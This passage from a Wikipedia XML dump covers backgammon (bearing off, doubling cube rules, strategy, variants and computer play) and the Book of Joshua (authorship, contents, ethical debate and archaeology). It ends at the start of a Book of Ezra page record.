When all of a player's checkers are in his home board, he may remove them from the board, or ''bear them off''. A roll of 1&amp;nbsp;may be used to bear off a checker from the 1-point, a 2 from the 2-point, etc.  A number may not be used to bear off checkers from a lower point unless there are no checkers on any higher points.  For example, a 4&amp;nbsp;may be used to bear off a checker from the 3-point only if there are no checkers on the 4-, 5-, and 6-points.

A checker borne off from a lower point than indicated on the die still counts as the full die. For instance, suppose a player has only one checker on his 2-point and two checkers on his 1-point.  Then on rolling 1-2, he may move the checker from the 2-point to the 1-point (using the 1 rolled), and then bear off from the 1-point (using the 2 rolled).  He is not required to maximize the use of his rolled 2 by bearing off from the 2-point.

If one player has not borne off any checkers by the time his opponent has borne off all fifteen, he has lost a ''gammon'', which counts for twice a normal loss.  If a player has not borne off any checkers, and still has checkers on the bar and/or in his opponent's home board by the time his opponent has borne off all fifteen, he has lost a ''backgammon'', which counts for triple a normal loss. Sometimes a distinction is made between pieces in the opponent's home board (triple loss) and pieces on the bar (quadruple loss).

===The doubling cube===

To speed up match play and to increase the intensity of play and the need for strategy, a ''doubling cube'' is usually used. A doubling cube is a 6 sided die that instead of the numbers 1, 2, 3, 4, 5, 6 on it, has the numbers 2, 4, 8, 16, 32, 64 on it. If a player believes his position to be superior he may, before rolling the dice on his turn, ''double'', i.e., demand that the game be played for twice the current stakes. The doubling cube is placed with the 2 side face up to show that the game's value has been doubled. His opponent must either accept the challenge or resign the game on the spot. Thereafter the right to ''redouble'' (double again) belongs exclusively to the player who last accepted a double. If this occurs, the cube is placed with the face of the next power of 2 showing.

The game rarely is redoubled beyond 4 times the original stake, but there is no theoretical limit on the number of doubles. Even though 64 is the highest number on the doubling cube, the stakes may rise to 128, 256, 512 and so on. 

====Beavers====

A common rule allows ''beavers'' - the right for a player to immediately redouble when offered the doubling cube, while retaining the cube instead of giving it back up. (The redouble must be called before the originally doubling player rolls the dice.) In this way, the stakes of the game can rise dramatically.

Beavers are commonly allowed when backgammon is played for money game by game, and usually not allowed in matches.

====Jacoby Rule====

The Jacoby Rule makes gammons and backgammons count for their respective double and triple points only if there has been at least one use of the doubling cube in the game. This encourages a player with a large lead in a game to double, and thus likely end the game, rather than see the game out to its conclusion in hopes of a gammon or backgammon. The Jacoby Rule is widely used in money play, but is not used in match play.

====Crawford Rule====

The Crawford Rule makes match play much more fair for the player in the lead. If a player is one point away from winning a match, his opponent has no reason ''not'' to double; after all, a win in the game by the player in the lead would cause him to win the match regardless of the doubled stakes, while a win by the opponent would benefit twice as much if the stakes are double. Thus there is no advantage towards winning the match to being one point shy of winning, if one's opponent is two points shy! 

To remedy this situation, the Crawford Rule requires that when a player becomes one single point short of winning the match, neither player may use the doubling cube for a single game, called the ''Crawford Game''. As soon as the Crawford Game is over, any further games use the doubling cube normally.  

Not quite as universal as the Jacoby Rule, the Crawford Rule is widely used and generally assumed to be in effect for match play.

====Automatic Doubles====

When Automatic Doubles are used, any re-rolls that players must make at the very start of a game (when each player rolls one die) have the side-effect of causing a double.  Thus, a 3-3 roll, followed by a re-roll of 5-5, followed by a re-roll of 1-4 that begins the game in earnest, will cause the game to be played from the start with 4-times normal stakes. The doubling cube stays in the middle, with both players having access to it.
The Jacoby Rule is still in effect.

Automatic Doubles are common in money games (upon agreement). They are never used in match play.

==Three Basic Strategies==

In very general terms, there are 3 basic strategies employed. You need to be able to switch strategies instantly as the course of the game unfolds.

'''The Blockade'''

This involves building a 6-thick wall of checkers, or at least as thick as you can manage, to block in the opponent's checkers that are on your 1-point. This is considered to be the most suitable strategy at the start of the game. You can build the wall anywhere between your 11-point and your 2-point and then shuffle it into your home board as the game progresses.

'''The Blitz'''

This involves closing your home board as quick as possible while keeping your opponent on the bar. For example, if your opponent rolls an early 2 and moves one checker from your 1-point to your 3-point and you then roll a 5-5, you can play 6/1 6/1 8/3 8/3. Your opponent is now in serious trouble because they have 2 checkers on the bar and you have closed half your inner board!

'''The Backgame'''

This is where you have 2 or more ''anchors'' in your opponent's home board. (An anchor is a point occupied by at least 2 of your checkers.) It should be used when you are significantly behind as it much improves your chances. The best places for anchors are towards your opponent's lower point and either on adjacent points or with a single point in between. Timing is crucial for an effective backgame: after all, there's no point having 2 nice anchors and a solid wall in your own home board if you are then forced to dismantle this straight away, while your opponent is getting their checkers home, because you don't have other spare checkers to move! In this case, it's better to have checkers on the bar so that you can preserve your position until your opponent gives you a chance to hit, so it can be a good idea to try and get your opponent to hit them in this case!

Some people go for a backgame from the outset, but this is a mistake. The backgame is a losing strategy: it's just that this strategy makes you less likely to lose if you are already losing!

==Sample Game==

A few turns from the beginning of a sample game will illustrate the rules of movement.  To start the game blue rolls a 4 and green rolls a 1, so blue takes the first turn playing a 4,1.  This is an unfavorable opening roll, arguably the worst possible, but blue uses it the best he can.  He takes a checker from each of his ''heavy'' points by playing 13-9, 6-5.

&lt;center&gt;[[image:bg_sg_w1.png]]&lt;/center&gt;

It is seldom useful to have five checkers on the same point, so blue starts to spread his checkers around.  He is threatening to build a ''prime'', i.e., a blockade to prevent green's two trailing checkers from getting home.  The disadvantage of blue's choice is that it isn't very safe.  It leaves two blots which green might hit.  Some experts prefer the less aggressive but safer move of 24-23, 13-9.

Green rolls a 4, 4.  This is an extremely lucky roll.  Not only can he hit both of blue's blots with 1-5*-9*, he also has two more fours to play.  He may, for example play 19-23(2), moving two checkers from his 6-point to the 2-point.  This leaves blue with two checkers on the bar, trying to re-enter against green's home board, which has two points blocked by green.

&lt;center&gt;[[image:bg_sg_b1.png]]&lt;/center&gt;

Green was wise to hit twice, because it disrupts blue's efforts to build a prime, and it puts blue considerably behind in the race.  Those two checkers must come all the way around the board before blue can begin to bear off.

In contrast, green's decision to make the 2-point was strategically dubious.  Though it may prevent blue from entering with both checkers, and there is some chance green will be able to build a strong home board before blue gets organized, increasing the chances of winning a gammon, the disadvantage is that green will now find it difficult to build a prime.  If blue manages to make an advanced ''anchor'', i.e., get two of his back checkers on green's 3-, 4-, or especially the 5- point, then green's blocking game is busted.

Green would be in better shape had he played 12-16(2), keeping open the option to block or attack depending on blue's next roll.  

Blue rolls 5, 2.  The only legal move is Bar-20.  The two can't be played from the bar because green owns his 2-point, and until blue has played all his checkers off the bar, he can't play anywhere else.  Therefore the 2 is forfeited and blue's turn is over.

&lt;center&gt;[[image:bg_sg_w2.png]]&lt;/center&gt;

Green got what he wanted, in that blue was not able to enter both checkers, but the fight is far from over.  Green must hit the blot on his next roll, or else blue has a fifty-fifty chance to cover his blot and take a fairly strong position.  Even if green does hit, blue has many rolls to hit back.  A war for green's 5-point will shape the character of the game in the near future.



==Backgammon as a Gambling Game==

Backgammon is often played for money stakes. The most common ways that gamblers play is to set a wager on which player can be first to reach a certain number of points, achieved over however many games necessary; to assign a dollar value to each point, and to play until a certain number of points is reached or passed; or to assign a dollar value to each point and play games until either player chooses to stop. Backgammon is also available, though not often, at casinos.

===Chouettes===

A Chouette is a complicated, group version of backgammon played for money stakes. Before beginning, a monetary value is agreed upon for the value of each point. One player is the ''box'' player, and plays against all of the other players together, who are led by a captain. The captain has final say over how to play each roll, though the other players may give advice freely. Each player on the group team controls his or her own doubling cube, and may double back and forth with the box player independently of the other players.

Whoever wins the largest number of points in a game is promoted: a group player becomes captain, or the captain becomes box player. A loser is demoted: a captain becomes a mere group player, and a box player becomes a captain.

==Backgammon in the Middle East and Central Asia==

Backgammon is widely played in the [[Middle East]] and [[Central Asia]], particularly in cafes. There are four main variants played in the Middle East: the European game as described above and known as '''''ifranjiah''''' (meaning ''[[Frankish]]'' in [[Arabic language|Arabic]], &quot;Takhte Nard&quot; is the Iranian version, ''shesh besh'' (Shesh means six in Persian and Besh means five in Turkish) in Azerbaijan, Israel, and Uzbekistan and ''tavla'' in Turkey); '''''mahbusa''''' (meaning 'imprisoned'); and '''''maghribiyya'''''.

The most popular of those is probably ''mahbusa''. In this game each player's 15 checkers are all initially positioned on his 24-point. When hit, an isolated checker is not placed on the bar. Rather the hitting piece sits on top of the hit piece forming a block i.e. the same rules apply as if the point was occupied by two or more pieces of the same colour. The checker which has been hit is 'imprisoned' and cannot be moved until the opponent removes his piece: hence the name of the game. Sometimes a further rule requires that a player must bring his first checker to the opponent's home board before moving any other checkers. Whether or not this rule is applied, a rapid advance to the opponent's side of the board is desirable as imprisoning the opponent's checkers on his home table is highly advantageous.

An interesting feature of backgammon as played in some Arab countries is that [[Persian language|Persian]] or [[Kurdish language|Kurdish]] numbers, rather than Arabic ones, are called out by a player announcing his dice rolls.

People in Iranian plateau and Caucasus region, especially in Iran, Armenia, Azerbaijan, and Georgia are very fond of playing Narde. In Georgia they play mainly the &quot;short Narde&quot; - a bit simplified version of ''ifranjiah''. In Iran it is called &quot;Takhte Nard&quot;. In Armenia and Azerbaidjan experienced players prefer to play &quot;long Narde&quot; that requires more skill and even &quot;knowledge&quot; of some non-written strategic methods. As in 'mahbusa' all 15 checkers of a player are initially positioned on his 24-point. But there is a principle difference. One is forbidden to put his checker at a point occupied by opponnents checker. So there is no &quot;hitting&quot; and no &quot;imprisonment&quot; in the long Narde game. The main strategy is to secure playing &quot;big pairs&quot; by one's own checkers and prevent as much as possible doing the same by the opponnent.

==Other variants==

===Brädspel===

A [[Sweden|Swedish]] variant of [[backgammon]], also called '''Swedish Tables''' in English.

The main difference compared to other backgammon variants is the method of winning. You can win by bearing off, but there are also several other ways to win, such as to arrange all your checkers in certain pre-determined patterns or by hitting so many checkers that your opponent can not bring them in again. 

Brädspel is played without the doubling cube.

===Gul Bara===

[[Gul bara]] is also called as ‘Rosespring Backgammon’ or ‘Crazy Narde’.

===Old English Rule===

This rule limits the number of checkers to a maximum of five on each point, thus restricting some moves that might otherwise be made. This variation of backgammon is popular in England (as well as other regions), and is viewed as making the gameplay more interesting.

===Runte Rule===

The Runte Rule allows the player to move his checkers both backwards and forwards within his own home board. The player cannot move the checker in such a way that it lands outside of his home board. The rule was created to increase the possibility of scoring backgammons and gammons, because it allows one to trap the opponent for longer.

===Tavli===

In Greece, backgammon is called '''''tavli''''' (related to the word '''tavla''' 'board, table', and cognate to the Latin ''Tabula''). It consists of three main styles, Portes, Plakoto and Fevga. Portes resembles the standard game, with minor variations. Plakoto is very similar to mahbusa or [[Tapa_(game)|Tapa]], while Fevga is similar to [[Narde]] or the Turkish variant Moultezim. The three are normally played consecutively, one after another, in matches of three, five or seven points.

===LongGammon===
LongGammon is a variant of backgammon, the sole difference being that all fifteen of the players' checkers start on their opponent's one-point. All other rules of the game are the same as regular backgammon.

==Computer Backgammon==

The first strong computer opponent was BKG 9.8. It was programmed by [[Hans Berliner]] in the late 1970s on a [[PDP-10]] as an experiment in evaluating board positions. Early versions of BKG played badly even against poor players, but Berliner noticed that the critical mistakes the program made were always at phase changes. He applied basic principles of [[fuzzy logic]] to smooth out the transition between phase changes, and by July [[1979]], BKG 9.8 was ready to play against then current world champion [[Luigi Villa]]. It won the match, 7-1, becoming the first computer program to defeat a world champion in any game, although this was mostly a matter of luck, as the computer happened to get better die rolls than its opponent in that match.

Beginning in the late 1980s, creators of backgammon-playing software began to have even more success with a [[neural network]] approach. TD-Gammon, developed by Gerald Tesauro of IBM, was the first of these computer programs to play at or near the expert level. This program's neural network was trained using Temporal Difference learning applied to data generated from self-play.

This line of research has resulted in two modern commercial programs, Jellyfish and Snowie, the shareware [http://www.bgblitz.com BGBlitz] (implemented in Java), and the free software [http://www.gnubg.org GNU Backgammon], that play on a par with the best human players in the world.  It is worth noting that without their associated &quot;weights&quot; tables which represent hours or even months of tedious neural net training, these programs play no better than a human child.

It is interesting to contrast the development of backgammon software with that of [[Computer chess|chess software]]:

#For backgammon, neural networks work better than any other methods so far.  For chess, brute force searching, with sophisticated pruning and other refinements, works better than neural networks.
#Every advance in the power of computer hardware has significantly improved the strength of chess programs.  In contrast, additional computing power appears to improve the strength of backgammon software only marginally.
#For both backgammon and chess, it is at present unclear whether the best computer or the best human is best overall.  For most other games, one or the other is unambiguously stronger.

[[Real-time]] on-line play began with the [[First Internet Backgammon Server]] on [[July 19]], [[1992]]. This server is active to this day, remains free, and enjoys a strong international community of backgammon players. Several commercial websites also offer on-line real-time backgammon play.

==See also==
*[[List of World Backgammon Champions]]
*[[Tables]]
*[[Hypergammon]]
*[[Tapa (game)|Tapa]]
*[[Nackgammon]]
*[[Acey-Deucey]]
*[[Nard_(game)|Nard]]
*[[Crazy Nard]]
*[[Sugoroku]]

==External links==
&lt;!-- Please do not link to online backgammon gaming sites here. There are too many of them for us to list them all and we cannot discriminate between them by choosing some. In any case viewers can find them through the links site listed below. Thank you. --&gt;
*[http://www.bkgm.com/ Backgammon Galore] is one of the most comprehensive sites about backgammon. It also contains the rules for almost every variant.
*[http://perso.wanadoo.fr/bckg/english The Origin of Backgammon] The history of backgammon.
*[http://www.chicagopoint.com/links.html Gammon Links] large collection of backgammon hyperlinks.
*[http://www.gnubg.org/ GnuBg] open source neural net based backgammon program.
*[http://www.fibs.com F.I.B.S.] First Internet Backgammon Server

[[Category:Tables games]]


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[[bg:Табла]]
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[[he:שש בש]]
[[la:Nerdiludium]]
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[[ja:バックギャモン]]
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[[pl:Tryktrak]]
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  </page>
  <page>
    <title>Book of Joshua</title>
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      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
The '''Book of Joshua''' is the sixth book in both the Hebrew [[Tanakh]] and the [[Old Testament]] of the Christian [[Bible]]. This book stands as the first in the Former (or First) Prophets covering the history of [[Kingdom of Israel|Israel]] from the possession of the [[Promised Land]] to the [[Babylonian Captivity]].

==Authorship==

Jewish tradition ascribes authorship of the book to Joshua. The [[Talmud]] states that the book was written by Joshua except for the last verses (24:29-33) which were added by [[Phinehas]] the priest. 

Certainly, the author writes as an eyewitness to the accounts described, occasionally using first person pronouns (for instance, in Joshua 5:1), although Joshua himself is usually described in the third person. Some sections, however (eg. 5:9, 7:26, 24:29-33) could only have been added after his death (probably by Eleazar the Priest or his son Phinehas).

More recently, the authorship of the book of Joshua has come under dispute. Two possibilities have been suggested for the authorship of the book:

# Conservative scholars argue that the majority of the book of Joshua was written at the time of the Israelite invasion (the fifteenth century or twelfth century BCE), by a contemporary of Joshua and an eyewitness of the events that occurred.
# Modern critical scholars argue that Joshua was probably written in the late monarchic or early post-exilic age, either from the [[documentary hypothesis|JEDP]] sources that they believe were responsible for the [[Pentateuch]], or by one of the prophets of the eighth century BCE.

==Contents and structure==

The book of Joshua contains a history of the [[Israelites]] from the death of [[Moses]] to that of [[Joshua]]. After Moses' death, Joshua, by virtue of his previous appointment as Moses' successor, receives from God the command to cross the Jordan. In execution of this order Joshua issues the requisite instructions to the stewards of the people for the crossing of the Jordan; and he reminds the Reubenites, Gadites, and the half of Manasseh of their pledge given to Moses to help their brethren.

The book essentially consists of three parts: 

#The history of the conquest of the land (1-12). 
#The allotment of the land to the different tribes, with the appointment of cities of refuge, the provision for the Levites (13-22), and the dismissal of the eastern tribes to their homes. This section has been compared to the [[Domesday Book]] of the [[Norman Conquest]]. 
#The farewell addresses of Joshua, with an account of his death (23, 24).

;The section concerning the conquest of the land involves:
*'''[[Rahab]]''' (2). Joshua sends out two spies from [[Shittim]] to explore the city of [[Jericho]]. They are saved from falling into the hands of the king by the shrewd tactics of Rahab, in return for promising not to attack her when they later invade. 

[[Image:Dore_joshua_crossing.jpg|thumb|left|300px|Joshua and the Israelites crossing the Jordan]]

*The '''[[Crossing of the Jordan]]''' (1, and 3-4). Having re-iterated the duty to follow the [[mitzvah]], Joshua orders the Israelites to set forth, and they leave [[Shittim]]. When they reach the [[Jordan river]], Joshua predicts that [[Ark of the covenant|the Ark]] will miraculously cross the Jordan. As soon as the Ark reaches the river, a [[miracle]] duly occurs, and the river stops flowing and rapidly dries up, so the priests carrying it halt, allowing the rest of the Israelites to cross as well. In commemoration of the event, Joshua orders two monuments to be erected: one in the river-bed itself; the other on the western bank, at [[Gilgal]] (which does not yet have its name), where the Israelites encamp.

*The '''[[Circumcision of the Israelites]]''' (5:1-12). The Israelites are [[circumcision|circumcised]] at [[Gibeath-Haaraloth]] (translating as ''hill of foreskins''). This is then explained as owing to those being born in the desert as not having been circumcised. The people are therefore circumcised and the area is named Gilgal in memory (''Gilgal'' sounds like ''Gallothi'' - ''I have removed'', but is more likely to translate as ''circle of standing stones''). 

*The '''[[Captain of the Lord's host]]''' (5:13-15). In a somewhat obscure passage, a ''captain of the host of the LORD'' arrives, with drawn sword, and orders Joshua to remove his sandles (which he does) as the land he stands upon is holy.

*'''The [[Battle of Jericho]] (6)''' - Placing Jericho under siege, the Israelites circle it once a day for six days, and on the seventh make seven circuits, each time loudly blowing horns and shouting. On the final circuit, the walls cave in, and the inhabitants, except Rahab and her family, are slaughtered. A curse is pronounced against rebuilding the city.

*'''The [[First Battle of Ai]]''' (7) - [[Ai]] is surveyed and pronounced weak, so the Israelite army sends only a small group to attack them but they are defeated, causing Joshua and the people to the verge of despair. But God announces that the people have sinned, as someone has stolen some of the spoils from Jericho which are meant to be for the temple. Consequently the Israelites set out to discover the sinner by casting lots (''[[Urim and Thummim]]''), whittling them down first by tribe ([[Judah]]), then clan ([[Zarhites]]), then sept ([[Zabdi]]), then finally detecting it as [[Achan]]. Achan admits having taken a costly Babylonian garment, besides silver and gold, and his confession is verified by the finding of the treasure buried in his tent, so Achan is taken into the valley of [[Achor]], where he is stoned and burned to death.

*'''The [[Second Battle of Ai]]''' (8:1-29) - 30,000 Israelites set an ambush of Ai overnight, and in the morning another Israelite force attack and then feign retreat, drawing the forces of Ai far away from the city. When Joshua raises his lance, the 30,000 men preparing the ambush strike, while Joshua start attacking again, thus surrounding Ai's forces. The entire city is burned and its inhabitants slaughtered, the king of Ai being hung on a tree, and his body being thrown into a pit. 

*'''The [[Ritual of Ebal and Gerizim]]''' (8:30-35) - Joshua erects an altar on Mount Ebal and makes offerings upon it, and carving into it the law of Moses. The people are arranged into two sections, with one facing [[Ebal]] and the other facing [[Gerizim]]. They each read the blessings and curses specified in [[Deuteronomy]] as appropriate.

*'''The [[Hivite Treaty]]''' (9) - The [[Hivites]] fool the Israelites into thinking them foreigners, and gain a non-aggression treaty from the Israelites. Even after its detection, the fraud is not abrogated, though the Hivites are punished by being treated as the lowest social class (referred to via the Hebrew [[idiom]] &quot;hewers of wood and drawers of water for the altar of Yhwh&quot;).

[[Image:Dore_joshua_sun.jpg|right|thumb|300px|Joshua commands the sun to stand still in the sky]]

*'''The [[five kings of the Amorites]]''' (10) - [[Adonizedek]], king of [[Jerusalem]], brings about an alliance of the &quot;five kings of the Amorites&quot; (himself, and the kings of [[Hebron]], [[Jarmuth]], [[Lachish]], and [[Eglon]]), and they besiege the Hivites in [[Gibeon]], whom they perceive as [[treason|traitors]]. The Hivites implore Joshua's help, and so he launches a surprise night attack, causing the Amorites to panic and flee as far as [[Beth-horon]]. Although a night attack, a poem is quoted from the [[Sefer haYashar (Biblical references)|Book of Jasher]], which states that the sun stood still at Gibeon, and the moon in the valley of [[Ajalon]], in order that Joshua could complete the battle. The five kings hide in a cave, but are discovered and trapped there until their army has been completely obliterated, at which point they are then hung.

*'''The [[battle against Hazor]]''' (11:1-20, 23). [[Jabin]], King of [[Hazor (archaeological site)|Hazor]], his army, and those of his [[vassel]]s, rendezvous at [[Merom]]. Joshua, however, executes a swift attack and is able to defeat them. Pursuing them to a great distance, he hamstrings their horses, burns their chariots, captures Hazor, slaughters its inhabitants, and burns it to the ground. Lesser royal residences are also captured and slaughtered, although the cities on the hill remain. 

*'''The [[Anakim]]''' (11:21-22). The sons of [[Anak]] are driven away from the mountains and [[Hebron]] by Joshua, somewhat contradicting the accounts later in the [[Book of Judges]] which says that it was [[Caleb]] who did this. 

;The section concerning the [[division of Canaan]] contains brief narrative portions and long lists of places, interweaving:
*The framing narrative, describing the process by which the land was divided (12:1-6, 13:1-14, 13:21b-22, 13:32-14:3, 15:63, 16:10-17:6, 17:12-18:10, 19:51, and 22:1-9). First a description is given of the domains east of the Jordan which were conquered and given to Reuben, Gad, and Machir (half of Manasseh). After God gives Joshua a gloss concerning the unconquered region, he reminds him about Reuben, Gad, and Machir (half of Manasseh), already having been allocated land by Moses, and about the Levites not being given territory, only cities. The territory is handed out by lot, Judah gaining the first lot, although they fail to drive out the Canaanites living in Jerusalem. Then the [[house of Joseph]] gets its territory, Ephraim failing to drive out the Canaanites of [[Gezer]], and it is pointed out that the daughters of [[Zelophehad]], part of the tribe of Manasseh, are also given territory of their own. The house of Joseph is given the mountain region, including the forest, and is told that they will be able to drive out the Canaanites living there despite the presence of [[iron]] chariots. The Israelites then assemble at [[Shiloh]], and Joshua sends out a survey team. When the survey is complete, the remaining land is divided amongst the lesser tribes. Finally, the tribes whose lands are east of the Jordan are allowed to go to their lands.

*The '''[[Joshua King List]]''' (12:7-24). A list of 31 cities which were conquered and had kings. 

*A description of the '''[[boundaries of the Israelite Tribes]]'''. The description of the boundaries of Judah (15:1-12) and of Benjamin (18:11-20) is quite distinct from the list of their cities, unlike the descriptions of the borders of the other tribes. The boundaries of Ephraim (16:4-9) and (half of) Manasseh (17:7-11) are unusual in that they also include [[enclave]]s in some of the territory of the surrounding tribes, the boundaries of them as a whole are also given (16:1-3). Descriptions of the boundaries of the other tribes are also given - Reuben (13:15-16, 20, 23a), Gad (13:24-27), Machir (half of Manasseh) (13:29-31), Zebulon (10-14), Issachar (22a), Asher (24, and 26b-29a), and Naphtali (19:32-34) - except for those of Levi (who only have cities), Dan, and Simeon, for whom only cities are listed.

*The '''[[lists of cities of the Israelites by tribe]]'''. The lists for Judah (15:20-62) and Benjamin (18:21-28) are extremely extensive, leading many to suspect it was originally derived from an administrative document. The lists for the other territorial tribes - Reuben (13:16-21a and 13:23b), Gad (13:24-28), Simeon (19:1-9), Zebulon (19:10-16), Issachar (19:17-23), Asher (19:25-31), Naphtali (19:32-39), Dan (19:40-46) - are each partly mixed with the descriptions of their boundaries, though other parts stand unfettered. The list for the tribe of Levi (21:1-45) is broken into its three clans, and is somewhat more verbose. Conversely, there isn't really a list at all for either Ephraim or Manasseh.

*'''The [[Anakim]]''' (14:6-15, and 15:13-14). [[Caleb]] reminds Joshua of his loyalty and requests [[Hebron]] as his personal portion. The request is granted, and Caleb drives out the sons of Anak which are residing there.

*The '''story of [[Othniel]]''' (15:15-19). Caleb marches against [[Kiriath-sepher]], promising to give his daughter, [[Achsah]], in marriage to whoever conquers it. His nephew, Othniel, takes up the challenge and so gains her hand in marriage. Achsah asks for a greater dowry from her father, and so is given the ''upper and lower pools'' in addition to the land in the Negev she has already been allocated.

*The '''attack on [[Leshem]]''' (19:47-48). The territory of the tribe of Dan is too small for them so they attack Leshem, slaughtering its inhabitants, and refounding it under the name ''Dan''. 

*'''Joshua's portion''' (19:49-50). Joshua himself is given [[Timnah-serah]], which he has requested, in the territory of Ephraim.

*The '''appointment of [[cities of refuge]]''' (20) also including a brief list naming the cities.

*The '''[[altar of Ed]]''' (22:10-34) When they return to their lands, Reuben, Gad, and Machir (half of Manasseh) build a ''conspicuously large'' altar. The other tribes take offense at this, since they believe it suggests that they are claiming their altar is the main one, so they prepare for war. However, they first send [[Phinehas]] and princes from each of the tribes, to adminish them. Reuben, Gad, and Machir, respond to this by stating that the altar is only a symbol of their loyalty, and not something to be used, so Phinehas and his party are relieved, and abandon their plans for war. The altar is named ''Ed'' (which translates as ''witness'') in memory.

;The section concerning Joshua's final words involves:
*'''Joshua's final speech''' (23-24). Joshua, now old, calls an assembly, and when it meets, he admonishes the people to remain loyal to the Torah of Moses. Joshua then gathers all the tribes together at Shechem, where he admonishes people to remain loyal to the Torah of Moses&lt;!-- no, this isn't a mistake, it does occur twice --&gt;, recounting certain prior events. Joshua then sets up a large stone beneath a tree, within the holy ground at Shechem, in witness to a promise of the people to be faithful. Joshua then dies, as shortly thereafter does Eleazar. The [[Bones of Joseph]] are also buried there by the tree and stone pillar, on a piece of ground that [[Jacob]] had purchased for 100 ''pieces of money''.

== The ethical problem of war and genocide ==

One difficulty in this book arises out of the command given by God to completely exterminate the Canaanites. 

[[Liberal Christianity|Liberal theologians]] see this as an ethically unjustifiable order to commit [[genocide]], which is inconsistent with the overall view in the Hebrew and Christian scriptures of God as a loving, compassionate Creator. They see it as a theological polemic, with the majority of events invented during or after the [[Babylonian captivity]], to encourage faithfulness to the Jewish creed at a time when it was being threatened. For instance, Morton (pp. 324-325) says that Joshua &quot;should be understood as a rite of ancient peoples (Israel among them) whereby within the context of their times, they attempted to please God (or the gods)&quot;.

[[evangelicalism|Conservative theologians]], who see the book as a historically accurate account written during or soon after the life of Joshua, give one of the following explanations to this problem:

# War was an essential part of the history of the Near East in the fifteenth century BCE. Although it is still sinful, some commentators argue that the book shows God using sinful activities in order to accomplish his just purposes. This does not mean that God supports war, simply that he works with humans as they are. These commentators emphasise what they see as the depraved nature of Canaanite society, pointing to archaelogical evidence of practices such as child sacrifice (burning the infant victims alive). For instance, Hallam, who takes this view, lists a number of pieces of archaeological evidence to support this thesis: &quot;Just a few steps from this temple was a cemetery, where many jars were found, containing remains of infants who had been sacrificed in this temple . . . Prophets of Baal and Ashtoreth were official murderers of little children.&quot; &quot;Another horrible practice was [what] they called `foundation sacrifices.' When a house was to be built, a child would be sacrificed, and its body built into the wall. . . . The worship of Baal, Ashtoreth, and other Canaanite gods consisted in the most extravagant orgies; their temples were centers of vice. . . . Canaanites worshiped, by immoral indulgence, . . . and then, by murdering their first-born children, as a sacrifice to these same gods.&quot; However, some of this evidence is disputed, with others arguing that it may have been invented at a later date in order to justify the act of extermination.
# Christian theologians have tended to emphasise what they see as the progressive nature of revelation in the bible. As the bible progresses, God is seen to reveal himself in ways that are fuller, clearer and more accurate, culminating in the ultimate revelation of God in Jesus Christ. God's command through Joshua to take possession of the land by force of arms is viewed in the context of God's command through the second Joshua, Jesus Christ, to bring about his kingdom through the peaceful application of his teaching.

== Archaeological evidence ==

The [[Amarna letters]], that date from the middle of the [[14th century BCE]], consist of official communications from [[Amorite]], [[Hittite]], [[Hurrian]], [[Phoenicia]]n, and [[Philistine]] chiefs to the kings of [[Egypt]], and provide an independent glimpse into the actual condition of Canaan at the time of this work. The testimony of this archive, however, presents many difficulties of its own, including the mysterious, yet clearly warlike ''[[Habiru]]'' who are the subject of many letters.

In addition, we also have a letter from a military officer, &quot;master of the captains of Egypt,&quot; which dates from near the end of the reign of [[Ramesses II]]. Its curious account of a journey, probably official, that the officer undertook through [[Canaan]] as far north as [[Aleppo]], provides more information.

Among the things brought to light by this letter and the Amarna letters is the state of confusion and decay that had fallen upon Egypt. The Egyptian garrisons that had held possession of Canaan from the time of [[Thutmose III]], some two hundred years before, had now disappeared. The way was thus opened for the Hebrews. In the history of the conquest there is no mention of Joshua having encountered any Egyptian force. The tablets contain many appeals to the king of Egypt for help against the inroads of the Hebrews, but no help seems ever to have been sent. 

Excavations of several Canaanite cities have provided contradictory evidence for establishing the historicity of the Book of Joshua. The Tells of [[Lachish]] and [[Hazor]] were both Canaanite cities in the Late Bronze Age. Around the year 1200 BCE, both cities were destroyed and the following layers of occupational debris contain Israelite artifacts. The archaeological records of these cities show that a destructive invasion by the Israelites occurred at the end of the Late Bronze Age. The excavation of [[Ai]] yielded evidence that disagreed with Ai's destruction in the Book of Joshua. Ai appears to have been abandoned in the Early Bronze Age and not reoccupied until after the Israelite invasion. It has been suggested that the destruction of Ai was added to the Book of Joshua as an etiological myth, explaining the visible ruins of the Early Bronze Age city.

== References ==

* Morton, William H. ''Joshua. The Broadman Bible Commentary, Vol. 2.'' Ed. Clifton J. Allen, et al. Nashville: Broadman Press, 1970.

* Halley, Henry H. ''Halley's Bible Handbook.'' Grand Rapids: Zondervan Publishing House, 1927, 1965.

* Mazar, Amihai. ''The Archaelogy of the land of the Bible.'' New York: Doubleday, 1990.

==External links==
Online translations of the [[Book of Joshua]]:
*Original text:
** [http://www.mechon-mamre.org/p/pt/pt0601.htm &amp;#1497;&amp;#1456;&amp;#1492;&amp;#1493;&amp;#1465;&amp;#1513;&amp;#1473;&amp;#1467;&amp;#1506;&amp;#1463; ''Yehoshua'' - Joshua] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)

*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/e/et/et0601.htm Joshua at Mechon-Mamre] (Jewish Publication Society translation)
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15749 Yehoshua - Joshua (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/06_joshua.htm Joshua at The Great Books] (New Revised Standard Version)
** {{biblegateway||Joshua}}
** [http://EN.wikisource.org/wiki/Bible%2C_King_James%2C_Joshua Joshua at Wikisource] (Authorised King James Version)


Related articles:
* [http://www.jewishencyclopedia.com/view.jsp?artid=545&amp;letter=J&amp;search=Joshua Book of Joshua article] (Jewish Encyclopedia)

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{{JewishEncyclopedia}}

[[Category:Nevi'im|Joshua, Book of]]
[[Category:Old Testament books|Joshua]]

[[ast:Xosué]]
[[bg:Книга на Исус Навиев]]
[[zh-min-nan:Iok-su-a-kì]]
[[ca:Llibre de Josuè]]
[[da:Josvabogen]]
[[de:Buch Josua]]
[[es:Josué]]
[[fr:Livre de Josué]]
[[ko:여호수아 (성경)]]
[[id:Yosua]]
[[it:Giosuè]]
[[he:ספר יהושע]]
[[jv:Yosua]]
[[nl:Jozua (Hebreeuwse Bijbel)]]
[[ja:ヨシュア記]]
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[[scn:Giosuè (libbru)]]
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[[zh:約書亞記]]</text>
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  </page>
  <page>
    <title>Book of Ezra</title>
    <id>4332</id>
    <revision>
      <id>41843692</id>
      <timestamp>2006-03-02T02:37:36Z</timestamp>
      <contributor>
        <ip>71.106.143.223</ip>
      </contributor>
      <comment>/* External links */</comment>
